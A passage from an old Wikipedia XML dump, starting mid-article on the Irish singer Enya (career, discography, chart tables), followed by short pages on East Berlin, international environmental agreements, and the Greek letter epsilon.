Eithne was born in [[Gweedore]], [[County Donegal]], in [[Republic of Ireland|Ireland]] in 1961 to a musical family, the fourth youngest of nine children. Her grandparents were in a band that played throughout Ireland; her father was the leader of the [[Slieve Foy Band]] before opening a pub; and her mother played in a dance band and later taught music at the Gweedore Comprehensive School.  Eithne has four brothers and four sisters, several of whom formed the band [[An Clann As Dobhair]] in [[1968 in music|1968]]. (They renamed the band [[Clannad]] in the [[1970s]].)

In [[1980 in music|1980]], Eithne joined [[Clannad]], the band composed of her siblings [[Máire Brennan|Máire]], [[Pól Brennan|Pól]], and [[Ciarán Brennan|Ciarán]] and twin uncles [[Noel Duggan|Noel]] and [[Padraig Duggan]]. Eithne played the [[Keyboard instrument|keyboard]] and provided backing vocals on their albums ''Crann Úll'' (1980) and ''Fuaim'' ([[1982 in music|1982]]). In 1982 (shortly before Clannad became famous for &quot;Theme From Harry's Game&quot;), producer and manager Nicky Ryan left Clannad and Eithne joined him to start her own solo career.

===Solo career===

Eithne, working with Nicky and his wife Roma, recorded two solo instrumental songs called &quot;An Ghaoth Ón Ghrian&quot; (&quot;The Solar Wind&quot;) and &quot;Miss Clare Remembers&quot; that were released on the [[1984 in music|1984]] album ''Touch Travel''.  Eithne was first credited as ''Enya'' for writing some of the music for the [[1984 in film|1984]] movie ''[[The Frog Prince (film)|The Frog Prince]]'' which was released on a soundtrack album [[The Frog Prince (album)|of the same title]].  Another early appearance on record followed in 1987, where Enya provided spoken (not sung) vocals on [[Sinéad O'Connor]]'s debut album, ''The Lion And The Cobra''.  The title of the album is a partial English translation of Enya's Gaelic reading of Psalms 91:11-13 on the song &quot;Never Get Old.&quot;

Enya was contracted to provide music for the soundtrack of the [[1986]] [[television documentary]] ''[[The Celts]]''.  The music she produced was featured on her first solo album, ''[[Enya (album)|Enya]]'' ([[1987 in music|1987]]), but it attracted little attention at the time. The song &quot;Boadicea&quot; from this album would later be sampled by [[The Fugees]] ([[1996 in music|1996]]), causing a brief stir because the group neither sought permission from Enya nor gave her credit initially, and by [[Mario Winans]], who did give her credit. (Ironically the Winans track, &quot;I Don't Wanna Know,&quot; which features a [[rapping|rap]] by [[P. Diddy]] and is officially credited to all three artists, became Enya's highest charting single in the US, when it peaked at #2 on the [[Hot 100]] in [[2004 in music|2004]].)[[Image:Tafetta1.jpg|right|thumb|200px|Promoting her first Grammy Award album ''[[Shepherd Moons]]'', 1991]]

Enya achieved a breakthrough in her career in [[1988 in music|1988]] with the album ''[[Watermark (album)|Watermark]]'', which featured the hit song &quot;Orinoco Flow&quot; (sometimes known as &quot;Sail Away&quot;).  &quot;Orinoco Flow&quot; topped the charts in [[Britain]], and the album sold eight million copies.  Three years later she followed with another hit album: ''[[Shepherd Moons]]'', which sold ten million copies and earned Enya her first [[Grammy Award]].  The songs &quot;On Your Shore&quot; and &quot;Exile&quot; (from ''Watermark'') and &quot;Epona&quot; (from ''The Celts'') were featured strongly in the 1991 film ''[[L.A. Story]].'' &quot;Epona&quot; was also featured on the soundtrack to the [[Robin Williams]] film, ''[[Toys]]'', while the 1990 film ''[[Green Card (film)|Green Card]]'' made use of her ''Watermark'' track, &quot;Exile&quot;.

Despite winning Grammys for &quot;Best [[New Age music|New Age]] Album&quot;, Enya does not personally classify her music as belonging to that [[genre]].  Four years later she released the Grammy-winning ''[[The Memory of Trees]]'' ([[1995 in music|1995]]).

In [[1997 in music|1997]], Enya released her greatest hits collection ''[[Paint The Sky With Stars|Paint The Sky With Stars: The Best of Enya]]'', which featured two new songs.  She was offered the chance to compose the score for [[James Cameron]]'s [[1997 in film|1997]] film ''[[Titanic (1997 film)|Titanic]]'', but she declined. Cameron subsequently asked composer [[James Horner]] to adapt Enya's style for his score. The eventual choice of Norwegian vocalist [[Sissel]] resulted in work that some sources erroneously credited to Enya.

Following a five year wait, she released ''[[A Day Without Rain]]'' in [[2000 in music|2000]] featuring 34 minutes of new material.  After the [[September 11, 2001 attacks]], her song &quot;Only Time&quot; (from ''A Day Without Rain'') was used as a backdrop in many radio and TV reports about the attacks. She initially frowned upon this use, especially when many bootlegged versions of &quot;Only Time&quot; mixed with sound effects from the attack began to appear. She agreed to release a special edition of the song with funds going to the families of victims. Many Enya fans, however, are resentful that her music has been linked with the attacks; an example of this occurred on a [[2002 in music|2002]] appearance on [[CNN]]'s ''[[Larry King Live]]'' when images of battle in [[Afghanistan]] were shown on screen as she performed &quot;May It Be&quot;, a song with no war connection. This sparked some complaints within Enya's fan community. 
[[Image:Enya - Amarantine.jpg|left|thumb|200px|''[[Amarantine]]'', Enya's latest CD, was released on [[November 21]] [[2005]].]]
Enya is self-admittedly a slow worker when it comes to composing music. As a result, fans have had to wait as long as five years between albums. In [[2004 in music|2004]], Enya was reputedly working on her next album, but no release date had been set. In September 2004, a new song, set to words from a Japanese poem and called &quot;Sumiregusa&quot; (&quot;Wild Violet&quot;) was unveiled in [[Japan]] as part of an advertising campaign for [[Panasonic]]. In announcing the new recording, [[Warner Brothers|Warner Music Japan]] stated that Enya's next album was scheduled for release (in Japan at least) in mid-November. After a brief flurry of excitement among fans, Enya issued a press release on her official Web site on [[19 September]] stating that this was a mistake and no new album was immediately forthcoming.

On [[November]], [[2005_in_music|2005]] a new album, entitled ''[[Amarantine]]'', was released.

===Personal life===

Enya is a very private person, who tries to keep her personal life apart from her musical career, even by expending an estimated €250,000 on security measures for her home - Manderley Castle in south Dublin. In spite of this, on [[September 29]] and [[October 3]], 2005, there were two separate security breaches at Enya's home. [http://news.bbc.co.uk/1/hi/northern_ireland/4305058.stm] [http://www.examiner.ie/pport/web/ireland/Full_Story/did-sgmD1yfc0tDmksgdL11Zs5FWAE.asp]  According to many rumours she lives there alone.  However, this impression is exaggerated.  She leads a normal life, which she even says herself, invites over friends, listens to [[classical music]] and travels often.   
 
As of 2006, Enya remains single. [http://www.efanguide.com/~enya/enya/faqs.html#1a]

==Music==

A number of Enya's songs are sung entirely in [[Irish language|Irish]] or [[Latin]], with others containing the hitherto-mentioned mixed with [[English language|English]] or English by itself. Roma Ryan has written lyrics in [[Welsh language|Welsh]], Irish, Latin, [[Spanish language|Spanish]], [[French language|French]] and even [[languages of Middle-earth|languages created by J. R. R. Tolkien]]. [[Image:Wm04.jpeg|right|thumb|200px|On Amarantine album (2005), Enya sings in Japanese and Loxian, a language invented by Roma Ryan.]]On her latest album, ''Amarantine'', Enya also sings in [[Japanese language|Japanese]] and [[Loxian]], a language invented by Roma Ryan.

Enya has performed songs relating to [[J. R. R. Tolkien]]'s ''[[The Lord of the Rings]]'', including [[1991 in music|1991]]'s &quot;[[Lothlórien]]&quot; (instrumental), [[2001 in music|2001]]'s &quot;May It Be&quot; (sung in English and [[Quenya]]), and &quot;Aníron&quot; (in [[Sindarin]])&amp;mdash;the last two which she composed appearing on the soundtrack of [[Peter Jackson]]'s movie ''[[The Lord of the Rings: The Fellowship of the Ring (film)|The Lord of the Rings: The Fellowship of the Ring]]''. &quot;May It Be&quot; was nominated for an [[Academy Award]] for Best Song at the 2002 ceremonies, but it lost to [[Randy Newman]]'s &quot;If I Didn't Have You&quot; from ''[[Monsters, Inc.]]''

Enya has given several live performances on various television shows, events and ceremonies (her most recent appearance was at a tribute to the Brennan family which took place in Letterkenny), but she has yet to do a concert. She has said, though, that she would love to do it some day, and considers it to be a great possible challenge.

==Discography==
{{dablink|For a full listing of albums and singles see [[Enya discography]].}}

===Albums===
*''[[Enya (album)|Enya]]'' ([[1987 in music|1987]])
*''[[Watermark (album)|Watermark]]'' ([[1988 in music|1988]])
*''[[Shepherd Moons]]'' ([[1991 in music|1991]])
*''[[The Celts (album)|The Celts]]'' (1992) (remastered re-release of the 1987 album ''Enya'')
*''[[The Memory of Trees]]'' ([[1995 in music|1995]])
*''[[Paint the Sky with Stars]]'' ([[1997 in music|1997]]) (greatest hits collection with two new tracks)
*''[[A Day Without Rain]]'' ([[2000 in music|2000]])
*''[[Amarantine]]'' ([[2005 in music|2005]]) 

=== Singles ===

Over the years, Enya has released a large number of CD singles, many of which included bonus tracks that were not included on any of the albums:
* &quot;[[I Want Tomorrow]]&quot; (1987)
* &quot;[[Evening Falls...]]&quot; (1988)
* &quot;[[Orinoco Flow]]&quot; ([[1988 in music|1988]])
* &quot;[[Storms In Africa]]&quot; ([[1989 in music|1989]])
* &quot;[[6 Tracks]]&quot; (1989)
* &quot;[[Oíche Chiún (Silent Night)]]&quot; (1989)
* &quot;[[3 Tracks EP]]&quot; ([[1990 in music|1990]])
* &quot;[[Exile Enya Single|Exile]]&quot; (1991)
* &quot;[[Caribbean Blue]]&quot; (1991)
* &quot;[[How Can I Keep From Singing?]]&quot; (1991)
* &quot;[[Book Of Days]]&quot; ([[1992 in music|1992]])
* &quot;[[The Celts]]&quot; (1992)
* &quot;[[Marble Halls]]&quot; ([[1994 in music|1994]])
* &quot;[[The Christmas EP]]&quot; (1994)
* &quot;[[Anywhere Is]]&quot; (1995)
* &quot;[[On My Way Home]]&quot; ([[1996 in music|1996]])
* &quot;[[Only If...]]&quot; (1997)
* &quot;[[Only Time]]&quot; (2000)
* &quot;[[Wild Child]]&quot; ([[2001 in music|2001]])
* &quot;[[Only Time (Remix)]]&quot; (2001)
* &quot;[[May It Be]]&quot; ([[2002 in music|2002]])
* &quot;[[Amarantine]]&quot; ([[2005 in music|2005]])
* &quot;If I Could Be Where You Are&quot; (Asia) ([[2006 in music|2006]])
* &quot;It's In The Rain&quot; (Europe) ([[2006 in music|2006]])
It is a common misconception that Enya recorded the song &quot;Adiemus&quot;. Rather, it was recorded by musicians of the group [[Adiemus]]. Similarly, recordings by [[Loreena McKennitt]], [[Sissel Kyrkjebø]], [[Moya Brennan]] (Enya's sister) have also often been mistakenly identified as Enya recordings (particularly music that Sissel recorded for the Enya-like soundtrack to ''Titanic''). Similarly, [[Ronan Hardiman]] (who is responsible for the ''[[Riverdance]]'' soundtrack) recorded an album, ''Solas'', which features similar vocal recording techniques to Enya; as a result, the music has often been mistaken for hers as well.

===DVD release===
In [[2000]], Warner Music released ''Enya: The Video Collection'' on [[DVD]] in Europe and Asia, collecting all her videos from &quot;Orinoco Flow&quot; up to and including &quot;Wild Child&quot;, except for the video from &quot;Book of Days&quot; which was replaced by a live TV performance due to licensing complications relating to the video's use of footage from the film ''[[Far and Away]]''. This release was a successor to an earlier collection of videos entitled ''Moonshadows'' which was released on [[VHS]] and [[laserdisc]] in 1992. The DVD release also included interviews and featurettes on the making of two videos.

A North American ([[Region 1]]) release of the ''Video Collection'' DVD was announced on several occasions during 2000-2001 but did not occur, the reason for which has never been officially stated. At one point it was announced that the release had been delayed in order to allow the inclusion of the video for &quot;May it Be&quot;, while the (now defunct) Enya.org fansite reported that a dispute over the sound quality of the release led to it being withdrawn. As of [[2005]], ''The Video Collection'' is still considered to be &quot;coming soon&quot; by some North American online retailers although [[copyright infringement|bootleg]] copies from Asia have circulated at the retail level in some parts of Region 1 since 2000. Despite the release of a new CD by Enya in November 2005, the Region 1 edition of the DVD collection remains in limbo and there has been as yet no announcement of an updated DVD release in other parts of the world.

==Music rankings==
===Albums===
{| class=&quot;wikitable&quot;
!align=&quot;left&quot; valign=&quot;top&quot; width=&quot;40&quot;|Year
!align=&quot;left&quot; valign=&quot;top&quot;|Album
!align=&quot;center&quot; valign=&quot;top&quot; width=&quot;40&quot;|[[UK Albums Chart|UK]]
!align=&quot;center&quot; valign=&quot;top&quot; width=&quot;40&quot;|[[Billboard 200|US]]
|-
|align=&quot;left&quot; valign=&quot;top&quot;|[[1989 in music|1989]]
|align=&quot;left&quot; valign=&quot;top&quot;|''Watermark''
|align=&quot;center&quot; valign=&quot;top&quot;|5
|align=&quot;center&quot; valign=&quot;top&quot;|25
|-
|align=&quot;left&quot; valign=&quot;top&quot;|[[1992 in music|1992]]
|align=&quot;left&quot; valign=&quot;top&quot;|''Shepherd Moons''
|align=&quot;center&quot; valign=&quot;top&quot;|1
|align=&quot;center&quot; valign=&quot;top&quot;|17
|-
|align=&quot;left&quot; valign=&quot;top&quot;|[[1996 in music|1996]]
|align=&quot;left&quot; valign=&quot;top&quot;|''The Memory of Trees''
|align=&quot;center&quot; valign=&quot;top&quot;|5
|align=&quot;center&quot; valign=&quot;top&quot;|9
|-
|align=&quot;left&quot; valign=&quot;top&quot;|[[1998 in music|1998]]
|align=&quot;left&quot; valign=&quot;top&quot;|''Paint the Sky With Stars''
|align=&quot;center&quot; valign=&quot;top&quot;|4
|align=&quot;center&quot; valign=&quot;top&quot;|30
|-
|align=&quot;left&quot; valign=&quot;top&quot;|[[2001 in music|2001]]
|align=&quot;left&quot; valign=&quot;top&quot;|''A Day Without Rain''
|align=&quot;center&quot; valign=&quot;top&quot;|6
|align=&quot;center&quot; valign=&quot;top&quot;|2
|-
|align=&quot;left&quot; valign=&quot;top&quot;|[[2005 in music|2005]]
|align=&quot;left&quot; valign=&quot;top&quot;|''Amarantine''
|align=&quot;center&quot; valign=&quot;top&quot;|8
|align=&quot;center&quot; valign=&quot;top&quot;|6
|-
|}

===Singles===
{| class=&quot;wikitable&quot;
!align=&quot;center&quot; valign=&quot;top&quot; width=&quot;40&quot;|Year
!align=&quot;left&quot; valign=&quot;top&quot;|Song
!align=&quot;center&quot; valign=&quot;top&quot; width=&quot;40&quot;|&lt;small&gt;[[UK singles chart|UK singles]]&lt;small&gt;
!align=&quot;center&quot; valign=&quot;top&quot; width=&quot;40&quot;|&lt;small&gt;[[Billboard Hot 100|US Hot 100]]&lt;small&gt;
!align=&quot;center&quot; valign=&quot;top&quot; width=&quot;40&quot;|&lt;small&gt;[[Adult Contemporary (Billboard Chart)|US Adult]]&lt;small&gt;
!align=&quot;left&quot; valign=&quot;top&quot;|Album
|-
|align=&quot;center&quot; valign=&quot;top&quot;|1988
|align=&quot;left&quot; valign=&quot;top&quot;|&quot;Orinoco Flow (Sail Away)&quot;
|align=&quot;center&quot; valign=&quot;top&quot;|1
|align=&quot;center&quot; valign=&quot;top&quot;|24
|align=&quot;center&quot; valign=&quot;top&quot;|7
|align=&quot;left&quot; valign=&quot;top&quot;|''Watermark''
|-
|align=&quot;center&quot; valign=&quot;top&quot;|1988
|align=&quot;left&quot; valign=&quot;top&quot;|&quot;Evening Falls...&quot;
|align=&quot;center&quot; valign=&quot;top&quot;|20
|align=&quot;center&quot; valign=&quot;top&quot;|-
|align=&quot;center&quot; valign=&quot;top&quot;|-
|align=&quot;left&quot; valign=&quot;top&quot;|''Watermark''
|-
|align=&quot;center&quot; valign=&quot;top&quot;|1989
|align=&quot;left&quot; valign=&quot;top&quot;|&quot;Storms in Africa (Part II)&quot;
|align=&quot;center&quot; valign=&quot;top&quot;|41
|align=&quot;center&quot; valign=&quot;top&quot;|-
|align=&quot;center&quot; valign=&quot;top&quot;|-
|align=&quot;left&quot; valign=&quot;top&quot;|''Watermark''
|-
|align=&quot;center&quot; valign=&quot;top&quot;|1991
|align=&quot;left&quot; valign=&quot;top&quot;|&quot;Caribbean Blue&quot;
|align=&quot;center&quot; valign=&quot;top&quot;|13
|align=&quot;center&quot; valign=&quot;top&quot;|79
|align=&quot;center&quot; valign=&quot;top&quot;|29
|align=&quot;left&quot; valign=&quot;top&quot;|''Shepherd Moons''
|-
|align=&quot;center&quot; valign=&quot;top&quot;|1991
|align=&quot;left&quot; valign=&quot;top&quot;|&quot;How Can I Keep From Singing?&quot;
|align=&quot;center&quot; valign=&quot;top&quot;|32
|align=&quot;center&quot; valign=&quot;top&quot;|-
|align=&quot;center&quot; valign=&quot;top&quot;|-
|align=&quot;left&quot; valign=&quot;top&quot;|''Shepherd Moons''
|-
|align=&quot;center&quot; valign=&quot;top&quot;|1992
|align=&quot;left&quot; valign=&quot;top&quot;|&quot;Book of Days&quot;
|align=&quot;center&quot; valign=&quot;top&quot;|10
|align=&quot;center&quot; valign=&quot;top&quot;|-
|align=&quot;center&quot; valign=&quot;top&quot;|-
|align=&quot;left&quot; valign=&quot;top&quot;|''Shepherd Moons''
|-
|align=&quot;center&quot; valign=&quot;top&quot;|1992
|align=&quot;left&quot; valign=&quot;top&quot;|&quot;The Celts&quot;
|align=&quot;center&quot; valign=&quot;top&quot;|29
|align=&quot;center&quot; valign=&quot;top&quot;|-
|align=&quot;center&quot; valign=&quot;top&quot;|-
|align=&quot;left&quot; valign=&quot;top&quot;|''The Celts''
|-
|align=&quot;center&quot; valign=&quot;top&quot;|1995
|align=&quot;left&quot; valign=&quot;top&quot;|&quot;Anywhere Is&quot;
|align=&quot;center&quot; valign=&quot;top&quot;|7
|align=&quot;center&quot; valign=&quot;top&quot;|-
|align=&quot;center&quot; valign=&quot;top&quot;|-
|align=&quot;left&quot; valign=&quot;top&quot;|''The Memory of Trees''
|-
|align=&quot;center&quot; valign=&quot;top&quot;|1996
|align=&quot;left&quot; valign=&quot;top&quot;|&quot;On My Way Home&quot;
|align=&quot;center&quot; valign=&quot;top&quot;|26
|align=&quot;center&quot; valign=&quot;top&quot;|-
|align=&quot;center&quot; valign=&quot;top&quot;|-
|align=&quot;left&quot; valign=&quot;top&quot;|''The Memory of Trees''
|-
|align=&quot;center&quot; valign=&quot;top&quot;|1997
|align=&quot;left&quot; valign=&quot;top&quot;|&quot;Only If...&quot;
|align=&quot;center&quot; valign=&quot;top&quot;|43
|align=&quot;center&quot; valign=&quot;top&quot;|88
|align=&quot;center&quot; valign=&quot;top&quot;|-
|align=&quot;left&quot; valign=&quot;top&quot;|''Paint the Sky With Stars''
|-
|align=&quot;center&quot; valign=&quot;top&quot;|2001
|align=&quot;left&quot; valign=&quot;top&quot;|&quot;Only Time&quot;
|align=&quot;center&quot; valign=&quot;top&quot;|32
|align=&quot;center&quot; valign=&quot;top&quot;|10
|align=&quot;center&quot; valign=&quot;top&quot;|1
|align=&quot;left&quot; valign=&quot;top&quot;|''A Day Without Rain''
|-
|align=&quot;center&quot; valign=&quot;top&quot;|2001
|align=&quot;left&quot; valign=&quot;top&quot;|&quot;Wild Child&quot;
|align=&quot;center&quot; valign=&quot;top&quot;|72
|align=&quot;center&quot; valign=&quot;top&quot;|-
|align=&quot;center&quot; valign=&quot;top&quot;|12
|align=&quot;left&quot; valign=&quot;top&quot;|''A Day Without Rain''
|-
|align=&quot;center&quot; valign=&quot;top&quot;|2002
|align=&quot;left&quot; valign=&quot;top&quot;|&quot;I Don't Wanna Know&quot; ''([[Mario Winans]] featuring [[P. Diddy]] and Enya)'' &lt;sup&gt;1&lt;/sup&gt;
|align=&quot;center&quot; valign=&quot;top&quot;|1
|align=&quot;center&quot; valign=&quot;top&quot;|2
|align=&quot;center&quot; valign=&quot;top&quot;|-
|align=&quot;left&quot; valign=&quot;top&quot;|''Hurt No More'' (Winans)
|-
|align=&quot;center&quot; valign=&quot;top&quot;|2005
|align=&quot;left&quot; valign=&quot;top&quot;|&quot;Amarantine&quot;
|align=&quot;center&quot; valign=&quot;top&quot;|53
|align=&quot;center&quot; valign=&quot;top&quot;|-
|align=&quot;center&quot; valign=&quot;top&quot;|26
|align=&quot;left&quot; valign=&quot;top&quot;|''Amarantine''
|-
|}

===Note===
&lt;sup&gt;1&lt;/sup&gt; &quot;I Don't Wanna Know&quot;, a song by [[R&amp;B]]/[[hip-hop music|hip-hop]] musician Winans, contained a [[sampling (music)|sample]] from Enya's 1987 track &quot;Boadicea&quot;, thus crediting her as a featured artist.

== See also ==
* [[Best selling music artists]]

== References ==
* [http://www.billboard.com/bbcom/retrieve_chart_history.do?model.chartFormatGroupName=Albums&amp;model.vnuArtistId=4557&amp;model.vnuAlbumId=744731 Billboard Album Rankings - Enya]
* [http://www.billboard.com/bbcom/retrieve_chart_history.do?model.vnuArtistId=4557&amp;model.vnuAlbumId=744731 Billboard Singles Rankings - Enya]


== External links ==
{{wikiquote}}
* Official Aigle Music Website by Lee Tobin and Peter Pehrson: [http://www.enya.com/ www.enya.com]
* [http://discography.enya.com/ The Enya Discography]
* [http://unity.enya.com/ Unity - the Official Enya Forum]

* [http://enyanet.com/ enyanet.com] unofficial Enya website
* [http://www.pathname.com/enya/ Enya - Translations and Lyrics]
* [http://enya.szm.com Enya - Out of the Blue] - an unofficial website
* [http://www.lunaestas.com/enya/ Moonshadows] - unofficial fansite (no longer updated)
* [http://imdb.com/name/nm0258216/ Enya] at the [[Internet Movie Database]]

[[Category:1961 births]]
[[Category:Living people]]
[[Category:Composers]]
[[Category:Female singers]]
[[Category:Irish musicians]]
[[Category:New Age musicians]]
[[Category:Natives of County Donegal]]
[[Category:Celts]]
[[Category:Roman Catholic musicians|Enya]]

[[bg:Еня]]
[[de:Enya]]
[[es:Enya]]
[[eo:Enya]]
[[fi:Enya]]
[[fr:Enya]]
[[gd:Eithne]]
[[gl:Enya]]
[[hu:Enya]]
[[id:Enya]]
[[it:Enya]]
[[ja:エンヤ]]
[[nl:Enya]]
[[pl:Enya]]
[[pt:Enya]]
[[ru:Enya]]
[[sv:Enya]]
[[zh:恩雅]]

{{Persondata
|NAME= Bhraonáin, Eithne Ní
|ALTERNATIVE NAMES= Enya
|SHORT DESCRIPTION= Musician
|DATE OF BIRTH= [[17 May]] [[1961]]
|PLACE OF BIRTH= [[Gaoth Dobhair, Donegal, Ireland]]
|DATE OF DEATH=  
|PLACE OF DEATH=  
}}</text>
    </revision>
  </page>
  <page>
    <title>East Berlin</title>
    <id>9483</id>
    <revision>
      <id>39250861</id>
      <timestamp>2006-02-11T21:29:22Z</timestamp>
      <contributor>
        <ip>85.157.98.93</ip>
      </contributor>
      <comment>fi</comment>
      <text xml:space="preserve">{| align=&quot;right&quot;
| [[image:Flag East Berlin.gif|thumb|200px|none|Flag of East Berlin]]
|-
| [[Image:EastBerlinBoroughs.png|thumb|200px|none|Boroughs of East Berlin]]
|-
| [[Image:Occupiedberlin.png|thumb|200px|none|Occupied Berlin]]
&lt;!--[[image:Marx-engels-platz.jpg|thumb|200px|none|East Berlin in Summer [[1989]]]]--&gt; 
|}
'''East Berlin''' was the name given to the eastern part of [[Berlin]] between [[1949]] and [[1990]]. It consisted of the [[Soviet Union|Soviet]] sector of [[Berlin]] that was established in [[1945]]. The American, British and French sectors became [[West Berlin]], a ''de facto'' part of [[West Germany]].

East Berlin was the [[capital (government)|capital]] of [[East Germany]]. From [[August 13]], [[1961]] until [[November 9]], [[1989]] it was separated from [[West Berlin]] by the [[Berlin Wall]].  The official East German lexicon referred to East Berlin as just &quot;Berlin&quot; or often &quot;Berlin, Hauptstadt der DDR&quot; (Berlin, capital of the GDR).  The term &quot;Democratic Sector&quot; was also used until the early - mid 1960s.

The Western Allies (the USA, Great Britain and France) never formally acknowledged the authority of the East German government to govern East Berlin; the official Allied protocol recognized only the authority of the Soviet Union in East Berlin in accordance with the occupation status of Berlin as a whole.  In fact, the three Western commandants regularly protested the presence of the East German [[National People's Army]] in East Berlin, particularly on the occasion of military parades.  Nevertheless, the three Western Allies eventually established embassies in East Berlin in the 1970s.

East Berlin comprised the [[Boroughs of Berlin|boroughs]] of
* [[Friedrichshain]]
* [[Hellersdorf]]
* [[Hohenschönhausen]]
* [[Köpenick]]
* [[Lichtenberg]]
* [[Marzahn]]
* [[Mitte]]
* [[Pankow]]
* [[Prenzlauer Berg]]
* [[Treptow]]
* [[Weißensee]]

On [[October 3]], [[1990]] [[West Germany]] and [[East Germany]] [[German reunification|were united]], thus formally ending the existence of East Berlin.

==See also==
* [[Berlin]]
* [[Bonn]]
* [[East Germany]]
* [[Germany]]
* [[History of Germany since 1945]]
* [[West Berlin]]
* [[West Germany]]

==External links==
*[http://www.berlinphotos.co.uk Berlin Photos 1989-1999]

{{germany-geo-stub}}

[[Category:Special territories|Berlin, East]]
[[Category:History of Berlin]]
[[Category:Cold War|Berlin, East]]
[[Category:Divided cities|Berlin, East]]

[[als:Ostberlin]]
[[cs:Východní Berlín]]
[[da:Østberlin]]
[[de:Ost-Berlin]]
[[es:Berlín Este]]
[[eo:Orienta Berlino]]
[[fr:Berlin-Est]]
[[ko:동베를린]]
[[id:Berlin Timur]]
[[it:Berlino Est]]
[[jv:Berlin Wetan]]
[[nl:Oost-Berlijn]]
[[ja:東ベルリン]]
[[pl:Berlin Wschodni]]
[[ru:Восточный Берлин]]
[[sk:Východný Berlín]]
[[sr:Источни Берлин]]
[[fi:Itä-Berliini]]
[[sv:Östberlin]]</text>
    </revision>
  </page>
  <page>
    <title>Electronic instruments</title>
    <id>9485</id>
    <revision>
      <id>15907374</id>
      <timestamp>2002-06-10T03:04:50Z</timestamp>
      <contributor>
        <username>Rjstott</username>
        <id>182</id>
      </contributor>
      <comment>*</comment>
      <text xml:space="preserve">#REDIRECT [[Electronic musical instrument]]</text>
    </revision>
  </page>
  <page>
    <title>Environmental agreement</title>
    <id>9486</id>
    <revision>
      <id>27663451</id>
      <timestamp>2005-11-07T23:27:32Z</timestamp>
      <contributor>
        <username>Alan Liefting</username>
        <id>36352</id>
      </contributor>
      <minor />
      <comment>cat sorty</comment>
      <text xml:space="preserve">There are numerous international '''environmental agreements''' made to protect the environment in different ways. Many of these are legally binding. 

International environmental agreements include:

*[[Alpine Convention]] together with its nine protocols
*[[ASEAN Agreement on Transboundary Haze Pollution]]
*[[Antarctic Treaty]]
**[[Agreed Measures for the Conservation of Antarctic Fauna and Flora]] [http://www.oceanlaw.net/texts/antarctic1964.htm]
**[[Convention for the Conservation of Antarctic Seals]] [http://www.oceanlaw.net/texts/seals.htm]
**[[Convention for the Conservation of Antarctic Marine Living Resources]] [http://www.oceanlaw.net/texts/ccamlr.htm]
**[[Protocol on Environmental Protection to the Antarctic Treaty]]
*[[Basel Convention]]
*[[Carpathian Convention]] Framework Convention on the Protection and Sustainable Development of the Carpathians [http://www.carpathianconvention.org]
*[[Convention on Biological Diversity]]
*[[Convention on Fishing and Conservation of Living Resources of the High Seas]]
*[[Convention on Long-Range Transboundary Air Pollution]]
**[[Nitrogen Oxide Protocol]]
**[[POP Air Pollution Protocol]]
**[[Sulphur Emissions Reduction Protocol]]
**[[Volatile Organic Compounds Protocol]]
*[[Convention on the conservation of European wildlife and natural habitats]]
*[[Convention on the Conservation of Migratory Species of Wild Animals]]
*[[Convention on the International Trade in Endangered Species of Wild Flora and Fauna]]
*[[Convention on the Prevention of Marine Pollution by Dumping Wastes and Other Matter]]
*[[Convention on the Prohibition of Military or Any Other Hostile Use of Environmental Modification Techniques]]
*[[Convention on Wetlands of International Importance Especially As Waterfowl Habitat]]
*[[MARPOL 73/78|International Convention for the Prevention of Pollution from Ships]]
*[[International Convention for the Regulation of Whaling]]
*[[International Treaty on Plant Genetic Resources for Food and Agriculture]]
*[[International Tropical Timber Agreement, 1983]] (expired)
*[[International Tropical Timber Agreement, 1994]]
*[[Kyoto Protocol]] - greenhouse gas emission reductions
*[[Montreal Protocol on Substances That Deplete the Ozone Layer]]
*[[North American Agreement on Environmental Cooperation]]
*[[Stockholm Convention]] on persistent organic pollutants.
*[[Treaty Banning Nuclear Weapon Tests in the Atmosphere, in Outer Space, and Under Water]]
*[[United Nations Convention on the Law of the Sea]]
*[[United Nations Convention to Combat Desertification]]
*[[United Nations Framework Convention on Climate Change]]

== See also ==
* [[List of treaties]]
* [[Kyoto Protocol]]
* [[Environmental organizations]]
* [[International environmental law]]

[[Category:Treaties on the environment| ]]
[[Category:Treaties| ]]
[[Category:Environment]]

[[de:Liste internationaler Umweltabkommen]]</text>
    </revision>
  </page>
  <page>
    <title>Epsilon</title>
    <id>9487</id>
    <revision>
      <id>40143826</id>
      <timestamp>2006-02-18T13:33:34Z</timestamp>
      <contributor>
        <username>Chlewbot</username>
        <id>620581</id>
      </contributor>
      <minor />
      <comment>robot  Modifying: sl</comment>
      <text xml:space="preserve">{{Table_Greekletters|letter=epsilon}}
:''For the 2005 hurricane, see [[Hurricane Epsilon]].''

'''Epsilon''' (upper case &amp;Epsilon;, lower case &amp;epsilon;) is the fifth letter of the [[Greek alphabet]].  In the system of [[Greek numerals]] it has a value of 5. &quot;E psilon&quot; (&quot;simple e&quot;) was coined to distinguish the letter from &amp;alpha;&amp;iota;, which by the medieval period was pronounced the same way.

The lower-case letter &amp;epsilon; is used as the symbol for:
* In mathematics, a small positive quantity, usually denoted &amp;epsilon;; see [[limit (mathematics)|limit]].
** By analogy with this, the late mathematician [[Paul Erdős]] also used the term &quot;epsilons&quot; to refer to children ([[Paul Hoffman|Hoffman]] 1998, p. 4).
* In [[set theory]], the [[limit ordinal]] of the sequence &lt;math&gt;\omega,\omega^{\omega},\omega^{\omega^{\omega}},\dots&lt;/math&gt;.
* In computing, the [[precision]] of a numeric data type.
* In [[computer science]], the [[String (computer science)|empty string]].
* In mathematics, the [[Levi-Civita symbol]].
* In mathematics, [[set]] membership (often written &amp;isin; instead of &amp;epsilon;), especially in older texts.
* In physics, the [[permittivity]] of a medium.
* In [[automata theory]], a transition that involves no shifting of an input symbol.
* In [[astronomy]], the fifth brightest (usually) star in a [[constellation]].  ''See'' [[Bayer designation]].
* In phonetics, the open or lax mid-front [[vowel]], as in the English word &quot;pet&quot; (/p&amp;epsilon;t/)
There is a company that has this name:

*[[Epsilon S.A]] - studio company
* In Greek it is used for Epsilon Team

Letters that arose from Epsilon include the Roman [[E]] and Cyrillic [[Ye (Cyrillic)|Ye]].

===Fictional names===

* ''Epsilon in Malaysian Pale'' is the name of the second solo album released by [[Tangerine Dream]] leader [[Edgar Froese]] in [[1975]].

* Epsilon is also an [[Australian]] light-powered female-looking [[robot]] that fought [[Pluto (manga)|Pluto]] in an episode of [[Astro Boy]].

* ''Epsilon Eridani III'' is the planet that the spacestation [[Babylon 5]] orbited in the eponymous [[science fiction|sci-fi]] television series.

* [[E-104 Epsilon]] is also the name of a robot in [[Sonic Adventure]].

* Epsilon Semi-Moron is the lowest and least intelligent caste in Aldous Huxley's dystopic satire [[Brave New World]].

